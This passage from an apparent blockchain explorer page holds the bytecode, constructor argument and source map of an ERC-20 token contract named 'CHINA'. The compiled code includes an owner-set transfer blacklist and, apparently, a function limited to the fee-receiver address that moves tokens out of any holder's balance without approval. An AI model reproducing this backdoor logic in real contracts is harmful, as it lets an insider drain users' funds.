c8057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cab57600080fd5b815180151581146116f457600080fd5b8082018082111561045157610451611aca565b8181038181111561045157610451611aca565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d315784516001600160a01b031683529383019391830191600101611d0c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d6f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f551dcfc0dcc72fed89cff88b0082ecd74bf40268a3c4fce8b27b08746d3f5764736f6c63430008130033000000000000000000000000f1283dac64c7f9b185b9779a5dece6d1b0a3a29a

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063a1ac727f1161006f578063a1ac727f14610375578063a9059cbb14610395578063bf474bed146103b5578063c876d0b9146103cb578063c9567bf9146103e5578063dd62ed3e146103fa57600080fd5b8063751039fc146102f75780637d1db4a51461030c5780638da5cb5b146103225780638f9a55c01461034a57806395d89b41146101505780639e78fb4f1461036057600080fd5b80633bbac579116101085780633bbac5791461021c57806351bc3c85146102555780636de7bcbd1461026c57806370a082311461028c578063715018a6146102c257806372333356146102d757600080fd5b806306fdde0314610150578063095ea7b31461018d57806318160ddd146101bd57806323b872dd146101e0578063313ce5671461020057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201825260058152644348494e4160d81b602082015290516101849190611821565b60405180910390f35b34801561019957600080fd5b506101ad6101a8366004611897565b610440565b6040519015158152602001610184565b3480156101c957600080fd5b506101d2610457565b604051908152602001610184565b3480156101ec57600080fd5b506101ad6101fb3660046118c3565b610478565b34801561020c57600080fd5b5060405160098152602001610184565b34801561022857600080fd5b506101ad610237366004611904565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561026157600080fd5b5061026a6104e1565b005b34801561027857600080fd5b5061026a6102873660046119d9565b610539565b34801561029857600080fd5b506101d26102a7366004611904565b6001600160a01b031660009081526001602052604090205490565b3480156102ce57600080fd5b5061026a6105d4565b3480156102e357600080fd5b5061026a6102f2366004611a16565b610648565b34801561030357600080fd5b5061026a6106de565b34801561031857600080fd5b506101d260105481565b34801561032e57600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561035657600080fd5b506101d260115481565b34801561036c57600080fd5b5061026a61079a565b34801561038157600080fd5b5061026a610390366004611a38565b61099d565b3480156103a157600080fd5b506101ad6103b0366004611897565b610a0a565b3480156103c157600080fd5b506101d260125481565b3480156103d757600080fd5b506007546101ad9060ff1681565b3480156103f157600080fd5b5061026a610a17565b34801561040657600080fd5b506101d2610415366004611a91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061044d338484610c06565b5060015b92915050565b60006104656009600a611bc4565b610473906305f5e100611bd3565b905090565b6000610485848484610d2b565b6104d784336104d285604051806060016040528060288152602001611d75602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c1565b610c06565b5060019392505050565b60075461010090046001600160a01b0316336001600160a01b03161461050657600080fd5b30600090815260016020526040902054801561052557610525816113fb565b478015610535576105358161158e565b5050565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161056390611bea565b60405180910390fd5b60005b81518110156105355760016004600084848151811061059057610590611c1f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105cc81611c35565b91505061056f565b6000546001600160a01b031633146105fe5760405162461bcd60e51b815260040161056390611bea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161056390611bea565b601e82111580156106845750601e8111155b80156106995750601454600160a01b900460ff165b6106d35760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610563565b600a91909155600b55565b6000546001600160a01b031633146107085760405162461bcd60e51b815260040161056390611bea565b6107146009600a611bc4565b610722906305f5e100611bd3565b6010556107316009600a611bc4565b61073f906305f5e100611bd3565b6011556007805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107796009600a611bc4565b610787906305f5e100611bd3565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161056390611bea565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561080d9030906107ff6009600a611bc4565b6104d2906305f5e100611bd3565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108849190611c4e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190611c4e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097b9190611c4e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60075461010090046001600160a01b0316336001600160a01b0316146109c257600080fd5b60005b8251811015610a04576109f2848483815181106109e4576109e4611c1f565b6020026020010151846115cc565b806109fc81611c35565b9150506109c5565b50505050565b600061044d338484610d2b565b6000546001600160a01b03163314610a415760405162461bcd60e51b815260040161056390611bea565b601454600160a01b900460ff1615610a9b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610563565b6013546001600160a01b031663f305d7194730610acd816001600160a01b031660009081526001602052604090205490565b600080610ae26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b6f9190611c6b565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611c99565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610563565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610563565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610563565b6001600160a01b038216610df15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610563565b60008111610e535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610563565b600080546001600160a01b03858116911614801590610e8057506000546001600160a01b03848116911614155b1561127e576001600160a01b03841660009081526004602052604090205460ff16158015610ec757506001600160a01b03831660009081526004602052604090205460ff16155b610ed057600080fd5b60075460ff1615610f89576013546001600160a01b03848116911614801590610f0757506014546001600160a01b03848116911614155b15610f8957326000908152600560205260409020544311610f765760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610563565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610fb457506013546001600160a01b03848116911614155b8015610fd957506001600160a01b03831660009081526003602052604090205460ff16155b156110d55760105482111561102c5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610563565b6011548261104f856001600160a01b031660009081526001602052604090205490565b6110599190611cbb565b11156110a75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610563565b600e54600f5410156110bf57823b156110bf57600080fd5b600f80549060006110cf83611c35565b91905055505b61110160646110fb600c54600f54116110f0576008546110f4565b600a545b8590611672565b906116fb565b6014549091506001600160a01b03848116911614801561112a57506001600160a01b0384163014155b156111a55760105482111561117d5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610563565b6111a260646110fb600d54600f5411611198576009546110f4565b600b548590611672565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156111dc57506014546001600160a01b038581169116145b80156111f15750601454600160b01b900460ff165b80156111fe575060125481115b801561120d5750600e54600f54115b80156112285750436000908152600660205260409020546003115b1561127c5761123f61123a848361173d565b6113fb565b4360009081526006602052604090205461125a906001611cbb565b4360009081526006602052604090205547801561127a5761127a4761158e565b505b505b80156112f8573060009081526001602052604090205461129e9082611752565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112ef9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461131b90836117b1565b6001600160a01b03851660009081526001602052604090205561136061134183836117b1565b6001600160a01b03851660009081526001602052604090205490611752565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113aa85856117b1565b60405190815260200160405180910390a350505050565b600081848411156113e55760405162461bcd60e51b81526004016105639190611821565b5060006113f28486611cce565b95945050505050565b6014805460ff60a81b1916600160a81b179055801561157e57601454600160a01b900460ff161561157e57604080516002808252606082018352600092602083019080368337019050509050308160008151811061145b5761145b611c1f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d89190611c4e565b816001815181106114eb576114eb611c1f565b6001600160a01b0392831660209182029290920101526013546115119130911684610c06565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154a908590600090869030904290600401611ce1565b600060405180830381600087803b15801561156457600080fd5b505af1158015611578573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6007546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610535573d6000803e3d6000fd5b6001600160a01b0383166000908152600160205260409020546115ef90826117b1565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461161e9082611752565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1e9085815260200190565b60008260000361168457506000610451565b60006116908385611bd3565b90508261169d8583611d52565b146116f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610563565b9392505050565b60006116f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f3565b600081831161174c57826116f4565b50919050565b60008061175f8385611cbb565b9050838110156116f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610563565b60006116f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c1565b600081836118145760405162461bcd60e51b81526004016105639190611821565b5060006113f28486611d52565b600060208083528351808285015260005b8181101561184e57858101830151858201604001528201611832565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461188457600080fd5b50565b80356118928161186f565b919050565b600080604083850312156118aa57600080fd5b82356118b58161186f565b946020939093013593505050565b6000806000606084860312156118d857600080fd5b83356118e38161186f565b925060208401356118f38161186f565b929592945050506040919091013590565b60006020828403121561191657600080fd5b81356116f48161186f565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261194857600080fd5b8135602067ffffffffffffffff8083111561196557611965611921565b8260051b604051601f19603f8301168101818110848211171561198a5761198a611921565b6040529384528581018301938381019250878511156119a857600080fd5b83870191505b848210156119ce576119bf82611887565b835291830191908301906119ae565b979650505050505050565b6000602082840312156119eb57600080fd5b813567ffffffffffffffff811115611a0257600080fd5b611a0e84828501611937565b949350505050565b60008060408385031215611a2957600080fd5b50508035926020909101359150565b600080600060608486031215611a4d57600080fd5b8335611a588161186f565b9250602084013567ffffffffffffffff811115611a7457600080fd5b611a8086828701611937565b925050604084013590509250925092565b60008060408385031215611aa457600080fd5b8235611aaf8161186f565b91506020830135611abf8161186f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b1b578160001904821115611b0157611b01611aca565b80851615611b0e57918102915b93841c9390800290611ae5565b509250929050565b600082611b3257506001610451565b81611b3f57506000610451565b8160018114611b555760028114611b5f57611b7b565b6001915050610451565b60ff841115611b7057611b70611aca565b50506001821b610451565b5060208310610133831016604e8410600b8410161715611b9e575081810a610451565b611ba88383611ae0565b8060001904821115611bbc57611bbc611aca565b029392505050565b60006116f460ff841683611b23565b808202811582820484141761045157610451611aca565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c4757611c47611aca565b5060010190565b600060208284031215611c6057600080fd5b81516116f48161186f565b600080600060608486031215611c8057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cab57600080fd5b815180151581146116f457600080fd5b8082018082111561045157610451611aca565b8181038181111561045157610451611aca565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d315784516001600160a01b031683529383019391830191600101611d0c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d6f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f551dcfc0dcc72fed89cff88b0082ecd74bf40268a3c4fce8b27b08746d3f5764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000f1283dac64c7f9b185b9779a5dece6d1b0a3a29a

-----Decoded View---------------
Arg [0] : feeReceipt (address): 0xF1283DAC64C7f9B185B9779a5deCE6d1b0A3A29A

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f1283dac64c7f9b185b9779a5dece6d1b0a3a29a


Deployed Bytecode Sourcemap

3910:10777:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5863:83;;;;;;;;;;-1:-1:-1;5933:5:0;;;;;;;;;;;-1:-1:-1;;;5933:5:0;;;;5863:83;;;;5933:5;5863:83;:::i;:::-;;;;;;;;6746:186;;;;;;;;;;-1:-1:-1;6746:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6746:186:0;1162:187:1;6140:95:0;;;;;;;;;;;;;:::i;:::-;;;1500:25:1;;;1488:2;1473:18;6140:95:0;1354:177:1;6940:446:0;;;;;;;;;;-1:-1:-1;6940:446:0;;;;;:::i;:::-;;:::i;6049:83::-;;;;;;;;;;-1:-1:-1;6049:83:0;;4806:1;2139:36:1;;2127:2;2112:18;6049:83:0;1997:184:1;12324:86:0;;;;;;;;;;-1:-1:-1;12324:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;12395:7:0;12371:4;12395:7;;;:4;:7;;;;;;;;;12324:86;14318:366;;;;;;;;;;;;;:::i;:::-;;12418:169;;;;;;;;;;-1:-1:-1;12418:169:0;;;;;:::i;:::-;;:::i;6243:119::-;;;;;;;;;;-1:-1:-1;6243:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6336:18:0;6309:7;6336:18;;;:9;:18;;;;;;;6243:119;2935:148;;;;;;;;;;;;;:::i;12595:310::-;;;;;;;;;;-1:-1:-1;12595:310:0;;;;;:::i;:::-;;:::i;12015:201::-;;;;;;;;;;;;;:::i;4991:55::-;;;;;;;;;;;;;;;;2721:79;;;;;;;;;;-1:-1:-1;2759:7:0;2786:6;2721:79;;-1:-1:-1;;;;;2786:6:0;;;4235:51:1;;4223:2;4208:18;2721:79:0;4089:203:1;5053:57:0;;;;;;;;;;;;;;;;12913:391;;;;;;;;;;;;;:::i;14043:267::-;;;;;;;;;;-1:-1:-1;14043:267:0;;;;;:::i;:::-;;:::i;6370:192::-;;;;;;;;;;-1:-1:-1;6370:192:0;;;;;:::i;:::-;;:::i;5117:56::-;;;;;;;;;;;;;;;;4346:40;;;;;;;;;;-1:-1:-1;4346:40:0;;;;;;;;13312:483;;;;;;;;;;;;;:::i;6570:168::-;;;;;;;;;;-1:-1:-1;6570:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6703:18:0;;;6676:7;6703:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6570:168;6746:186;6846:4;6863:39;336:10;6886:7;6895:6;6863:8;:39::i;:::-;-1:-1:-1;6920:4:0;6746:186;;;;;:::o;6140:95::-;6193:7;4861:15;4806:1;4861:2;:15;:::i;:::-;4849:27;;:9;:27;:::i;:::-;6213:14;;6140:95;:::o;6940:446::-;7072:4;7089:36;7099:6;7107:9;7118:6;7089:9;:36::i;:::-;7136:220;7159:6;336:10;7207:138;7263:6;7207:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7207:19:0;;;;;;:11;:19;;;;;;;;336:10;7207:33;;;;;;;;;;:37;:138::i;:::-;7136:8;:220::i;:::-;-1:-1:-1;7374:4:0;6940:446;;;;;:::o;14318:366::-;14384:10;;;;;-1:-1:-1;;;;;14384:10:0;336;-1:-1:-1;;;;;14368:26:0;;14360:35;;;;;;14447:4;14406:20;6336:18;;;:9;:18;;;;;;14468:16;;14464:79;;14501:30;14518:12;14501:16;:30::i;:::-;14574:21;14610:14;;14606:71;;14641:24;14654:10;14641:12;:24::i;:::-;14349:335;;14318:366::o;12418:169::-;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;;;;;;;;;12497:6:::1;12492:88;12513:5;:12;12509:1;:16;12492:88;;;12564:4;12547;:14;12552:5;12558:1;12552:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12547:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12547:14:0;:21;;-1:-1:-1;;12547:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12527:3;::::1;::::0;::::1;:::i;:::-;;;;12492:88;;2935:148:::0;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;3042:1:::1;3026:6:::0;;3005:40:::1;::::0;-1:-1:-1;;;;;3026:6:0;;::::1;::::0;3005:40:::1;::::0;3042:1;;3005:40:::1;3073:1;3056:19:::0;;-1:-1:-1;;;;;;3056:19:0::1;::::0;;2935:148::o;12595:310::-;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;12746:2:::1;12732:10;:16;;:37;;;;;12767:2;12752:11;:17;;12732:37;:52;;;;-1:-1:-1::0;12773:11:0::1;::::0;-1:-1:-1;;;12773:11:0;::::1;;;12732:52;12710:113;;;::::0;-1:-1:-1;;;12710:113:0;;7769:2:1;12710:113:0::1;::::0;::::1;7751:21:1::0;7808:2;7788:18;;;7781:30;-1:-1:-1;;;7827:18:1;;;7820:41;7878:18;;12710:113:0::1;7567:335:1::0;12710:113:0::1;12834:12;:25:::0;;;;12870:13:::1;:27:::0;12595:310::o;12015:201::-;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;4861:15:::1;4806:1;4861:2;:15;:::i;:::-;4849:27;::::0;:9:::1;:27;:::i;:::-;12069:12;:22:::0;4861:15:::1;4806:1;4861:2;:15;:::i;:::-;4849:27;::::0;:9:::1;:27;:::i;:::-;12102:14;:24:::0;12137:20:::1;:28:::0;;-1:-1:-1;;12137:28:0::1;::::0;;12181:27:::1;4861:15;4806:1;-1:-1:-1::0;4861:15:0::1;:::i;:::-;4849:27;::::0;:9:::1;:27;:::i;:::-;12181;::::0;1500:25:1;;;1488:2;1473:18;12181:27:0::1;;;;;;;12015:201::o:0;12913:391::-;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;12965:15:::1;:104:::0;;-1:-1:-1;;;;;;12965:104:0::1;13016:42;12965:104:::0;;::::1;::::0;;;13080:58:::1;::::0;13097:4:::1;::::0;4861:15:::1;4806:1;4861:2;:15;:::i;:::-;4849:27;::::0;:9:::1;:27;:::i;13080:58::-;13183:15;;;;;;;;;-1:-1:-1::0;;;;;13183:15:0::1;-1:-1:-1::0;;;;;13183:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13165:55:0::1;;13243:4;13263:15;;;;;;;;;-1:-1:-1::0;;;;;13263:15:0::1;-1:-1:-1::0;;;;;13263:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13165:131;::::0;-1:-1:-1;;;;;;13165:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8393:15:1;;;13165:131:0::1;::::0;::::1;8375:34:1::0;8445:15;;8425:18;;;8418:43;8310:18;;13165:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13149:13;:147:::0;;-1:-1:-1;;;;;;13149:147:0::1;-1:-1:-1::0;;;;;13149:147:0;;;::::1;::::0;;;::::1;::::0;;12913:391::o;14043:267::-;14163:10;;;;;-1:-1:-1;;;;;14163:10:0;336;-1:-1:-1;;;;;14147:26:0;;14139:35;;;;;;14190:6;14185:118;14206:10;:17;14202:1;:21;14185:118;;;14245:46;14263:4;14269:10;14280:1;14269:13;;;;;;;;:::i;:::-;;;;;;;14284:6;14245:17;:46::i;:::-;14225:3;;;;:::i;:::-;;;;14185:118;;;;14043:267;;;:::o;6370:192::-;6473:4;6490:42;336:10;6514:9;6525:6;6490:9;:42::i;13312:483::-;2848:6;;-1:-1:-1;;;;;2848:6:0;336:10;2848:22;2840:67;;;;-1:-1:-1;;;2840:67:0;;;;;;;:::i;:::-;13374:11:::1;::::0;-1:-1:-1;;;13374:11:0;::::1;;;13373:12;13365:48;;;::::0;-1:-1:-1;;;13365:48:0;;8674:2:1;13365:48:0::1;::::0;::::1;8656:21:1::0;8713:2;8693:18;;;8686:30;8752:25;8732:18;;;8725:53;8795:18;;13365:48:0::1;8472:347:1::0;13365:48:0::1;13424:15;::::0;-1:-1:-1;;;;;13424:15:0::1;:31;13463:21;13508:4;13528:24;13508:4:::0;-1:-1:-1;;;;;6336:18:0;6309:7;6336:18;;;:9;:18;;;;;;;6243:119;13528:24:::1;13567:1;13583::::0;13599:7:::1;2759::::0;2786:6;-1:-1:-1;;;;;2786:6:0;;2721:79;13599:7:::1;13424:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13424:223:0;;;-1:-1:-1;;;;;9183:15:1;;;13424:223:0::1;::::0;::::1;9165:34:1::0;9215:18;;;9208:34;;;;9258:18;;;9251:34;;;;9301:18;;;9294:34;9365:15;;;9344:19;;;9337:44;13621:15:0::1;9397:19:1::0;;;9390:35;9099:19;;13424:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13665:13:0::1;::::0;13696:15:::1;::::0;13658:71:::1;::::0;-1:-1:-1;;;13658:71:0;;-1:-1:-1;;;;;13696:15:0;;::::1;13658:71;::::0;::::1;9921:51:1::0;-1:-1:-1;;9988:18:1;;;9981:34;13665:13:0;::::1;::::0;-1:-1:-1;13658:29:0::1;::::0;9894:18:1;;13658:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13740:11:0::1;:18:::0;;-1:-1:-1;;;;13769:18:0;-1:-1:-1;;;13769:18:0;;;13312:483::o;7394:335::-;-1:-1:-1;;;;;7487:19:0;;7479:68;;;;-1:-1:-1;;;7479:68:0;;10510:2:1;7479:68:0;;;10492:21:1;10549:2;10529:18;;;10522:30;10588:34;10568:18;;;10561:62;-1:-1:-1;;;10639:18:1;;;10632:34;10683:19;;7479:68:0;10308:400:1;7479:68:0;-1:-1:-1;;;;;7566:21:0;;7558:68;;;;-1:-1:-1;;;7558:68:0;;10915:2:1;7558:68:0;;;10897:21:1;10954:2;10934:18;;;10927:30;10993:34;10973:18;;;10966:62;-1:-1:-1;;;11044:18:1;;;11037:32;11086:19;;7558:68:0;10713:398:1;7558:68:0;-1:-1:-1;;;;;7637:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7689:32;;1500:25:1;;;7689:32:0;;1473:18:1;7689:32:0;;;;;;;;7394:335;;;:::o;7980:3295::-;-1:-1:-1;;;;;8068:18:0;;8060:68;;;;-1:-1:-1;;;8060:68:0;;11318:2:1;8060:68:0;;;11300:21:1;11357:2;11337:18;;;11330:30;11396:34;11376:18;;;11369:62;-1:-1:-1;;;11447:18:1;;;11440:35;11492:19;;8060:68:0;11116:401:1;8060:68:0;-1:-1:-1;;;;;8147:16:0;;8139:64;;;;-1:-1:-1;;;8139:64:0;;11724:2:1;8139:64:0;;;11706:21:1;11763:2;11743:18;;;11736:30;11802:34;11782:18;;;11775:62;-1:-1:-1;;;11853:18:1;;;11846:33;11896:19;;8139:64:0;11522:399:1;8139:64:0;8231:1;8222:6;:10;8214:64;;;;-1:-1:-1;;;8214:64:0;;12128:2:1;8214:64:0;;;12110:21:1;12167:2;12147:18;;;12140:30;12206:34;12186:18;;;12179:62;-1:-1:-1;;;12257:18:1;;;12250:39;12306:19;;8214:64:0;11926:405:1;8214:64:0;8289:17;2786:6;;-1:-1:-1;;;;;8325:15:0;;;2786:6;;8325:15;;;;:32;;-1:-1:-1;2759:7:0;2786:6;-1:-1:-1;;;;;8344:13:0;;;2786:6;;8344:13;;8325:32;8321:2583;;;-1:-1:-1;;;;;8383:10:0;;;;;;:4;:10;;;;;;;;8382:11;:24;;;;-1:-1:-1;;;;;;8398:8:0;;;;;;:4;:8;;;;;;;;8397:9;8382:24;8374:33;;;;;;8428:20;;;;8424:485;;;8509:15;;-1:-1:-1;;;;;8495:30:0;;;8509:15;;8495:30;;;;:83;;-1:-1:-1;8564:13:0;;-1:-1:-1;;;;;8550:28:0;;;8564:13;;8550:28;;8495:83;8469:425;;;8684:9;8655:39;;;;:28;:39;;;;;;8697:12;-1:-1:-1;8621:176:0;;;;-1:-1:-1;;;8621:176:0;;12538:2:1;8621:176:0;;;12520:21:1;12577:2;12557:18;;;12550:30;12616:34;12596:18;;;12589:62;-1:-1:-1;;;12667:18:1;;;12660:34;12711:19;;8621:176:0;12336:400:1;8621:176:0;8849:9;8820:39;;;;:28;:39;;;;;8862:12;8820:54;;8469:425;8955:13;;-1:-1:-1;;;;;8947:21:0;;;8955:13;;8947:21;:72;;;;-1:-1:-1;9003:15:0;;-1:-1:-1;;;;;8989:30:0;;;9003:15;;8989:30;;8947:72;:116;;;;-1:-1:-1;;;;;;9041:22:0;;;;;;:18;:22;;;;;;;;9040:23;8947:116;8925:559;;;9116:12;;9106:6;:22;;9098:60;;;;-1:-1:-1;;;9098:60:0;;12943:2:1;9098:60:0;;;12925:21:1;12982:2;12962:18;;;12955:30;-1:-1:-1;;;13001:18:1;;;12994:55;13066:18;;9098:60:0;12741:349:1;9098:60:0;9233:14;;9223:6;9207:13;9217:2;-1:-1:-1;;;;;6336:18:0;6309:7;6336:18;;;:9;:18;;;;;;;6243:119;9207:13;:22;;;;:::i;:::-;:40;;9177:140;;;;-1:-1:-1;;;9177:140:0;;13427:2:1;9177:140:0;;;13409:21:1;13466:2;13446:18;;;13439:30;13505:28;13485:18;;;13478:56;13551:18;;9177:140:0;13225:350:1;9177:140:0;9352:18;;9340:9;;:30;9336:103;;;13971:20;;14019:8;9395:24;;;;;;9457:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8925:559;9512:208;9716:3;9512:181;9576:15;;9564:9;;:27;9563:111;;9660:14;;9563:111;;;9620:12;;9563:111;9512:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9745:13;;9500:220;;-1:-1:-1;;;;;;9739:19:0;;;9745:13;;9739:19;:44;;;;-1:-1:-1;;;;;;9762:21:0;;9778:4;9762:21;;9739:44;9735:411;;;9822:12;;9812:6;:22;;9804:60;;;;-1:-1:-1;;;9804:60:0;;12943:2:1;9804:60:0;;;12925:21:1;12982:2;12962:18;;;12955:30;-1:-1:-1;;;13001:18:1;;;12994:55;13066:18;;9804:60:0;12741:349:1;9804:60:0;9895:235;10126:3;9895:204;9967:16;;9955:9;;:28;9954:122;;10061:15;;9954:122;;;10016:13;;9895:6;;:32;:2